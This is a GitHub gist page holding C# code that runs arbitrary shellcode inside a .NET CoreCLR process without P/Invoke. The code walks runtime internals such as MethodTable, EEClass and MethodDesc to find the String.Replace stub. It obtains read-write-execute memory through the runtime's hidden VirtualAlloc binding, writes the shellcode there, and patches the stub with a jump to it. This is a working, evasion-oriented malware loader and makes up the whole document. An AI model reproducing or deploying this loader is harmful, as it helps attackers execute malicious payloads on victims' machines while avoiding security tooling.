Skip to content

Instantly share code, notes, and snippets.

Created May 3, 2021 22:58
Show Gist options
  • Save xpn/a15bb4543219baa1fa50870327ddac9e to your computer and use it in GitHub Desktop.
Save xpn/a15bb4543219baa1fa50870327ddac9e to your computer and use it in GitHub Desktop.
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace NautilusProject
public class ExecStubOverwriteWithoutPInvoke
public static void Execute(byte[] shellcode)
// mov rax, 0x4141414141414141
// jmp rax
var jmpCode = new byte[] { 0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xE0 };
var t = typeof(System.String);
var mt = Marshal.PtrToStructure<Internals.MethodTable>(t.TypeHandle.Value);
var ec = Marshal.PtrToStructure<Internals.EEClass>(mt.m_pEEClass);
var mdc = Marshal.PtrToStructure<Internals.MethodDescChunk>(ec.m_pChunks);
var md = Marshal.PtrToStructure<Internals.MethodDesc>(ec.m_pChunks + 0x18);
if ((md.m_wFlags & Internals.mdcHasNonVtableSlot) != Internals.mdcHasNonVtableSlot)
Console.WriteLine("[x] Error: mdcHasNonVtableSlot not set for this MethodDesc");
// Get the String.Replace method stub
IntPtr stub = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 8);
// Nick p/invoke from CoreCLR Interop.Kernel32.VirtualAlloc
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
// Allocate memory
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });
// Convert void* to IntPtr
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// Point the stub to our shellcode
Marshal.Copy(jmpCode, 0, stub, jmpCode.Length);
Marshal.WriteIntPtr(stub + 2, mem);
// FIRE!!
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
public static class Internals
public struct MethodTable
public uint m_dwFlags;
public uint m_BaseSize;
public ushort m_wFlags2;
public ushort m_wToken;
public ushort m_wNumVirtuals;
public ushort m_wNumInterfaces;
public IntPtr m_pParentMethodTable;
public IntPtr m_pLoaderModule;
public IntPtr m_pWriteableData;
public IntPtr m_pEEClass;
public IntPtr m_pPerInstInfo;
public IntPtr m_pInterfaceMap;
public struct EEClass
public IntPtr m_pGuidInfo;
public IntPtr m_rpOptionalFields;
public IntPtr m_pMethodTable;
public IntPtr m_pFieldDescList;
public IntPtr m_pChunks;
public struct MethodDescChunk
public IntPtr m_methodTable;
public IntPtr m_next;
public byte m_size;
public byte m_count;
public byte m_flagsAndTokenRange;
public struct MethodDesc
public ushort m_wFlags3AndTokenRemainder;
public byte m_chunkIndex;
public byte m_bFlags2;
public ushort m_wSlotNumber;
public ushort m_wFlags;
public IntPtr TempEntry;
public const int mdcHasNonVtableSlot = 0x0008;
public enum AllocationType
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
public enum MemoryProtection
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment